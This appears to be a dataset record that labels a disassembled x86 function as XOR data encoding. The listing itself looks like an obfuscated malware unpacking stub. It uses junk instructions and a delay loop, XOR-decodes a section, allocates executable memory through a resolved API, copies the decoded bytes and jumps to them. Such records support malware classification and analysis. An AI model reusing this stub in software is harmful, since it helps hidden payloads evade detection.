Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x7e00e538
mov ecx, 0xb9caa6d3
sub ebx, 0x4bb5094d
popal
or ecx, ebx
mov ebx, 0x25d01450
inc ecx
mov esi, 0
mov eax, ebx
add edx, 0x562b15e9
not edi
sub edi, 0x8302e46e
mov ecx, eax
sub edi, edx
and edx, edx
mov ebx, ecx
and edi, edi
and edx, edx
add esi, 1
and edx, edx
and edx, edi
mov edi, 0xde082464
cmp esi, 0x100a685
jne 0xa789cb
and edi, edx
inc edi
mov ebx, ecx
mov ebx, ecx
not ebx
mov edx, 0xa78796
add eax, edi
add edi, ecx
sub ecx, 0xcfbd0e5d
mov ebx, 0xa7898a
mov edi, 0xcc6f21e0
add ecx, 0x4444c768
inc ecx
mov esi, dword [edx]
or eax, edi
inc eax
and esi, 0xff
or ecx, eax
inc edi
mov eax, 0x33faac4f
xor dword [ebx], esi
or edi, edi
sub eax, 0xc5a2895c
or ecx, edi
add ebx, 1
add ecx, 1
add ecx, 1
add edx, 1
inc edi
mov ecx, edi
mov edi, 0xb3881a0e
cmp ebx, entry0
jl 0xa78a2b
sub ecx, edi
sub edi, 0x7f7f85da
mov ecx, 0xa5b9b789
not ecx
sub esi, ecx
or edx, ecx
sub edx, 0x492b5483
mov ebx, 0xa7898e
add edx, 0x4adb1939
not esi
mov ebx, dword [ebx]
and edx, ecx
sub esi, 0xd30ff588
or esi, ecx
mov ebx, dword [ebx]
dec esi
dec esi
or edx, ecx
push ebx
sub edi, 0x3f237a66
mov edi, 0xd28d906f
sub edi, edx
mov ebx, 0xa7898a
inc edi
add edi, 0x6c2b4500
mov esi, 0x837c9b80
mov ebx, dword [ebx]
or edx, edx
add edi, edx
mov ebx, dword [ebx]
add esi, edx
not edx
inc edi
push 0xa78992
add edi, edi
not esi
call ebx
mov edi, esi
add ecx, 0xce1b33c6
inc ecx
pop ebx
mov edi, ecx
add ecx, edi
and ecx, edi
push 0xa7899f
and edx, esi
mov edi, esi
mov edi, 0x218183fc
push eax
mov edi, 0xdd92539f
sub ecx, esi
add ecx, esi
call ebx
or esi, edx
sub esi, 0x32bee137
push 0x40
sub ecx, 0xe0feb3fa
or edi, edx
or esi, edi
push 0x3000
inc edx
add esi, edx
inc esi
push 0x20000394
sub edi, esi
and ecx, ecx
add esi, esi
push 0
or esi, esi
mov edi, edx
mov edi, edx
call eax
add edi, edi
mov ecx, edi
not edi
add eax, 0x200002f0
sub edx, 0x9533a503
add edx, 0x765a52b7
mov ebx, 0x29774821
add edx, 0xf21c9d0a
or esi, edx
or edi, ecx
mov dword [eax], ebx
add edi, 1
mov esi, 0xd6fdb205
mov ebx, dword [eax]
add edx, esi
mov edx, 0xe7d8846b
cmp ebx, 0x29774821
je 0xa78b93
mov ebx, 0
mov dl, byte [ebx]
sub edx, esi
mov ecx, 0x25b3be83
not esi
mov ecx, 0xef78bfb9
dec ebx
not ecx
mov edx, section..reltc
add ecx, ebx
sub ecx, 0x91a62909
sub ebx, 0xa4041ec0
mov esi, 0xa78795
add ebx, ebx
mov ecx, 0x3a4f0ba2
mov eax, 0
add ecx, 0xba1ef48a
mov ebx, 0x2fe1cf3c
or ebx, ecx
mov edi, 0xa78796
or ebx, ecx
inc ecx
lea edi, [edi + eax]
mov ebx, 0x86956c0c
mov ebx, ecx
mov edi, dword [edi]
and ecx, ecx
add ecx, ebx
and ebx, ebx
and edi, 0xff
add ebx, 0x83fa01d7
mov ecx, 0xdf7fd3e0
add ebx, 1
inc eax
or ebx, ecx
sub ecx, 0xbe67b493
cmp eax, 0x1f4
jne 0xa78c1c
mov eax, 0
add ebx, 1
and ecx, ecx
dec ecx
add ebx, ebx
sub ecx, ebx
dec ebx
xor dword [edx], edi
mov ebx, ecx
mov ebx, 0x36adc6bf
add edx, 2
mov ecx, ebx
sub ebx, ecx
sub ecx, 0xdb5911f0
cmp edx, esi
jl 0xa78bd5
inc ebx
mov ecx, 0xcc31097e
mov ebx, 0xb1f10bbf
sub ecx, 0x7145c406
mov esi, section..reltc
inc ebx
inc ecx
inc ecx
mov edi, section..reltc
add ecx, ecx
or ecx, ecx
mov edx, 0xa78795
sub ecx, 1
add ebx, ecx
mov eax, 0
sub ebx, ecx
sub ecx, ebx
mov al, byte [edi]
or ecx, ebx
or ecx, ecx
mov byte [esi], al
and ebx, ecx
or ecx, ecx
mov ebx, 0x1b2dbc63
inc esi
add ecx, 0x7c9c0ef8
add ebx, 0xb855dc4c
add ebx, 1
add edi, 2
add ebx, ecx
inc ebx
cmp edi, edx
jle 0xa78c83
and ebx, ecx
and ecx, ecx
or ecx, ebx
add ebx, ecx
add ebx, ebx
sub esp, 4
mov dword [esp], 0x8dc6a0
mov ecx, 0xb0528eb9
not ecx
mov ecx, 0x42c83e7d
ret